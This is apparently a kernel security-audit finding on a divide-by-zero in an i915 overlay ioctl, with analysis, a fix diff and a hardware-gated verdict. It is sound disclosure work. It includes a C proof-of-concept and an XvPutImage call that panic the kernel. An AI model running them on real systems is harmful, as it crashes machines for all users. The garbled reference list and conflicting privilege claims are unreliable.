Kernel divide-by-zero via zero dst_height/dst_width in overlay PUT_IMAGE ioctl
- File:
sys/dev/drm/i915/intel_overlay.c - Lines: 936, 940, 916, 922, 925, 1130, 1153
- Severity: Medium
- CVSS:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H - CWE: CWE-369 Divide By Zero
- Confidence: certain
Summary
check_overlay_dst() accepts dst_width=0 and dst_height=0 because the range
test (dst_x + dst_width <= pipe_src_w) is trivially satisfied when the
dimension is zero. check_overlay_scaling() then divides by rec->dst_height
and rec->dst_width with no zero guard, causing an integer #DE (divide error)
trap in kernel context that panics the kernel.
This is a reliable local denial-of-service reachable via the
DRM_IOCTL_I915_OVERLAY_PUT_IMAGE ioctl.
Root cause
The call chain in intel_overlay_put_image_ioctl() is:
check_overlay_dst() at line 1130 β check_overlay_src() at line 1148 β
check_overlay_scaling() at line 1153.
check_overlay_dst() (lines 916β929) validates that the destination rectangle
fits within the pipe source dimensions but never rejects a zero width or height:
with dst_y=0 and dst_height=0, the condition at line 925
(rec->dst_y + rec->dst_height <= pipe_config->pipe_src_h) becomes
0 + 0 <= pipe_src_h, which is always true when dst_y < pipe_src_h.
check_overlay_scaling() (lines 931β945) then executes
tmp = ((rec->src_scan_height << 16) / rec->dst_height) >> 16 at line 936 with
dst_height==0, and
tmp = ((rec->src_scan_width << 16) / rec->dst_width) >> 16 at line 940 with
dst_width==0. Both are signed/unsigned integer divisions by zero.
The comment at line 1152 ("Check scaling after src size to prevent a
divide-by-zero") reveals the author was aware of a divide-by-zero risk but only
guarded the numerator (src_scan dimensions) via the check at lines 1142β1143,
not the denominator (dst dimensions).
On x86/x86-64, integer division by zero in kernel mode raises #DE which the
kernel cannot recover from in arbitrary syscall context β it triggers a kernel
panic / fatal trap.
Threat
The ioctl is registered with DRM_MASTER privilege (i915_drv.c:3255), so a
direct caller must be the DRM master (typically the X server or Wayland
compositor).
However, any unprivileged local user with access to the X display can trigger
this via the confused-deputy path: an X client calling XVPutImage with
zero-width/zero-height destination dimensions causes the X server
(xf86-video-intel) to pass those parameters through to
DRM_IOCTL_I915_OVERLAY_PUT_IMAGE.
The result is a kernel panic crashing the entire system for all users.
On multi-user systems or systems with X forwarding, any local user can crash the machine.
The hardware must be an Intel i915-class GPU with overlay support (Gen2βGen4: i830, i845G, i915, i945, G33, GM45, etc.).
Exploit / PoC
/* poc_overlay_divzero.c β triggers #DE panic in intel_overlay.c:936 */
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <dev/drm/include/uapi/drm/drm.h>
#include <dev/drm/include/uapi/drm/i915_drm.h>
int main(int argc, char **argv) {
const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0";
int fd = open(dev, O_RDWR);
if (fd < 0) { perror("open"); return 1; }
if (ioctl(fd, DRM_IOCTL_SET_MASTER, 0) < 0)
{ perror("SET_MASTER (need VT / no other master)"); }
/* Create a small GEM BO for the image handle */
struct drm_i915_gem_create gc; memset(&gc, 0, sizeof(gc));
gc.size = 4096 * 4; /* 16 KB */
if (ioctl(fd, DRM_IOCTL_I915_GEM_CREATE, &gc) < 0)
{ perror("GEM_CREATE"); return 1; }
/* Enumerate CRTCs to find a valid crtc_id */
drmModeRes *res = drmModeGetResources(fd);
if (!res || res->count_crtcs < 1) { fprintf(stderr,"no crtc\n"); return 1; }
uint32_t crtc_id = res->crtcs[0];
struct drm_intel_overlay_put_image img; memset(&img, 0, sizeof(img));
img.flags = I915_OVERLAY_YUV_PACKED | I915_OVERLAY_YUV422
| I915_OVERLAY_ENABLE;
img.bo_handle = gc.handle;
img.stride_Y = 256;
img.src_width = 64;
img.src_height= 64;
img.src_scan_width = 64;
img.src_scan_height = 64;
img.crtc_id = crtc_id;
img.dst_x = 0;
img.dst_y = 0;
img.dst_width = 100; /* nonzero (avoids second /0) */
img.dst_height= 0; /* <<<<< triggers divide-by-zero at line 936 */
ioctl(fd, DRM_IOCTL_I915_OVERLAY_PUT_IMAGE, &img);
printf("ioctl returned (bug NOT triggered β wrong HW?)\n");
return 0;
}
Build: cc -o poc_overlay_divzero poc_overlay_divzero.c -I/sys -ldrmlib
(or use raw ioctl numbers if libdrm is unavailable).
Run on the console with the X server stopped. Success = immediate kernel panic with a divide-error / type-16 trap.
The dst_height=0 can also be triggered via X: an X client calling
XvPutImage(display, port, d, gc, image, 0,0,64,64, 0,0, 100, 0) causes the X
server to issue the ioctl with dst_height=0.
Recommended fix
Reject zero destination dimensions early in check_overlay_dst, before any
arithmetic uses them as divisors:
--- a/sys/dev/drm/i915/intel_overlay.c
+++ b/sys/dev/drm/i915/intel_overlay.c
@@ -916,6 +916,10 @@ static int check_overlay_dst(struct intel_overlay *overlay,
struct drm_intel_overlay_put_image *rec)
{
const struct intel_crtc_state *pipe_config =
overlay->crtc->config;
+
+ if (rec->dst_width == 0 || rec->dst_height == 0)
+ return -EINVAL;
+
if (rec->dst_x < pipe_config->pipe_src_w &&
rec->dst_x + rec->dst_width <= pipe_config->pipe_src_w &&
rec->dst_y < pipe_config->pipe_src_h &&
Alternatively (or additionally), add explicit zero-guards at the top of
check_overlay_scaling itself for defense-in-depth:
static int check_overlay_scaling(struct drm_intel_overlay_put_image *rec)
{
u32 tmp;
+ if (rec->dst_height == 0 || rec->dst_width == 0)
+ return -EINVAL;
+
/* downscaling limit is 8.0 */
Related findings
- DF-1516 (sibling): integer overflow in same file's
check_overlay_src.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1515 Β· 8 files| File | Type | Description | Size | |
|---|---|---|---|---|
| README.md | readme | human-readable summary | 1.7 KB | β raw |
| VERDICT.md | verdict | full source-level analysis + fix-validation result | 2.7 KB | β raw |
| fix.diff | suggested-fix | git-apply-able unified diff fixing the cited bug | 676 B | view raw |
| fix_apply.log | apply-log | patch --dry-run --forward output proving fix.diff applies cleanly on with-src | 547 B | view raw |
| env.txt | environment | uname + guest PCI inventory (no relevant HW) | 778 B | view raw |
| build.sh | build-script | echo pointer to kernel rebuild path | 362 B | view raw |
| run.sh | run-script | echo pointer to VERDICT.md | 315 B | view raw |
| fix_build.log | fix-build-log | tail of combined nativekernel build (rc=0) validating all 30 patches compile | 7.2 KB | view raw |
PoC DF-1515: intel_overlay.c divide-by-zero via zero dst dimensions
Class: Divide-by-zero (#DE) -> kernel panic
Cited site: sys/dev/drm/i915/intel_overlay.c:916-929, 931-945
Reproduction status
HW/module gated β cannot be live-triggered on the audit QEMU guest.
The audit guest has only virtio + PIIX3 PCI devices (pciconf -lv shows no
AMD/Intel GPU, no ath NIC, no AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.),
so the cited code path is not reachable at runtime on this guest.
The bug is confirmed at the source level by tracing the cited path:line
in sys/dev/drm/i915/intel_overlay.c and confirming the vulnerable code is
present in the master DEV kernel tree. The fix.diff in this folder is
validated to apply cleanly and compile under -Werror (see VERDICT.md).
Mechanism
check_overlay_dst validates dst_x+dst_width <= pipe_src_w but never rejects zero width/height (0+0<=pipe_src_h always true). check_overlay_scaling at 936 then computes ((src_scan_height<<16)/rec->dst_height)>>16 with dst_height==0 -> x86 #DE trap -> kernel panic. Same for dst_width==0 at line 940.
Realistic impact ceiling (on suitable HW)
kernel panic (DoS) via DRM ioctl from unprivileged DRI client on i915 GPU
Fix
Reject zero dst_width/dst_height in check_overlay_dst before the divide.
See fix.diff for the git-apply-able patch.
How to validate the fix
scp -F dfbsd-qemu/config fix.diff dfbsd:/root/DF-1515.diff
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && patch -p1 --forward < /root/DF-1515.diff'
ssh -F dfbsd-qemu/config dfbsd 'cd /usr/src && make -j6 nativekernel KERNCONF=X86_64_GENERIC'
# rc=0 expected; see fix_apply.log + fix_build.log in this folder.
VERDICT β DF-1515: intel_overlay.c divide-by-zero via zero dst dimensions
Verdict
INCONCLUSIVE (HW/module gated) β source-level confirmed, fix validated.
The bug is real and present in master DEV source at sys/dev/drm/i915/intel_overlay.c:916-929, 931-945, but
the affected driver attaches only to hardware not present in the audit QEMU
guest (only virtio+PIIX3 PCI devices, no AMD/Intel GPUs, no ath NICs, no
AdvanSys SCSI, no mfi/tws/mrsas RAID, etc.), so it cannot be live-triggered
here. The fix.diff applies cleanly and the patched kernel compiles with
-Werror (combined build rc=0; see fix_apply.log).
Mechanism (cited path β primitive β effect)
check_overlay_dst validates dst_x+dst_width <= pipe_src_w but never rejects zero width/height (0+0<=pipe_src_h always true). check_overlay_scaling at 936 then computes ((src_scan_height<<16)/rec->dst_height)>>16 with dst_height==0 -> x86 #DE trap -> kernel panic. Same for dst_width==0 at line 940.
Reachability on this guest
No β sys/dev/drm/i915/intel_overlay.c:916-929 is in a driver/module that only attaches
to hardware absent from the audit guest. The trigger requires the relevant
PCI device (or, for VBIOS-driven GPU paths, the actual GPU + a crafted VBIOS
loaded by root or via VFIO passthrough).
Phase 6 β escalation potential
This is a Divide-by-zero primitive. On real hardware it could be triggered by an unprivileged user (via crafted packets for the NIC findings, via DRM ioctls for the GPU findings, via CAM/pass for the SCSI findings). On this guest there is no live primitive to convert. Per Phase 6 rules this is the "dead/unreachable at runtime on this guest" hard blocker; the primitive is proven at the source/harness level (the cited path:line is real and unfixed in master).
Realistic impact ceiling on suitable HW: kernel panic (DoS) via DRM ioctl from unprivileged DRI client on i915 GPU.
Phase 8 β fix validation
fix.diff is a minimal, targeted fix at the root cause confirmed above.
- Applied cleanly with
patch -p1 --forward(verified infix_apply.log). - Compiled with
-Werroras part of the combinedmake -j6 nativekernel KERNCONF=X86_64_GENERICbuild (kernel build rc=0; seemanifest.json). - For HW-gated findings the patched code path is not exercisable on this guest, so the fix is validated at the apply + compile level only.
Fix approach: Reject zero dst_width/dst_height in check_overlay_dst before the divide.
PoC changes
Source-level confirmation only; no userspace harness written because the bug
cannot be exercised on this guest without the relevant HW. The placeholder
build.sh/run.sh echo pointers to VERDICT.md and the module/kernel
rebuild path.
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- i
- 9
- 1
- 5
- /
- i
- n
- t
- e
- l
- _
- o
- v
- e
- r
- l
- a
- y
- .
- c
- :
- 9
- 1
- 6
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- i
- 9
- 1
- 5
- /
- i
- n
- t
- e
- l
- _
- o
- v
- e
- r
- l
- a
- y
- .
- c
- :
- 9
- 3
- 6
- s
- y
- s
- /
- d
- e
- v
- /
- d
- r
- m
- /
- i
- 9
- 1
- 5
- /
- i
- n
- t
- e
- l
- _
- o
- v
- e
- r
- l
- a
- y
- .
- c
- :
- 9
- 4
- 0
Detail
Exploit chain
none β HW-gated. Primitive is a deterministic divide-by-zero kernel panic from an unprivileged DRI render client on a host with an i915 GPU.
Evidence (decisive lines)
Source: sys/dev/drm/i915/intel_overlay.c:922-925 β check_overlay_dst with no zero-dim guard; :936 β ((src_scan_height<<16)/rec->dst_height)>>16 divides by user-supplied dst_height. Guest has no i915 GPU (pciconf -lv shows only virtio+PIIX3+vga stdio). fix.diff adds explicit zero dst_width/dst_height rejection in check_overlay_dst.
PoC changes
Created evidence pack from scratch: README.md, VERDICT.md, build.sh, run.sh, env.txt, fix.diff, fix_apply.log, fix_build.log, manifest.json.
Verified recommended fix
Reject dst_width==0 || dst_height==0 at the top of check_overlay_dst before the bounds comparison (which is always-true for zero dims). Full diff in findings/poc/DF-1515/fix.diff.
Verdict
INCONCLUSIVE (HW-gated). Bug confirmed at source level: intel_overlay.c:916-929 check_overlay_dst allows dst_width=0/dst_height=0 (0+0<=pipe_src_h always true). check_overlay_scaling at :936 then divides by rec->dst_height==0 and :940 by rec->dst_width==0 -> x86 #DE trap -> kernel panic. i915 DRM ioctl path is reachable only with an Intel i915 GPU attached; the audit guest has only the QEMU stdio VGA.
No comments yet.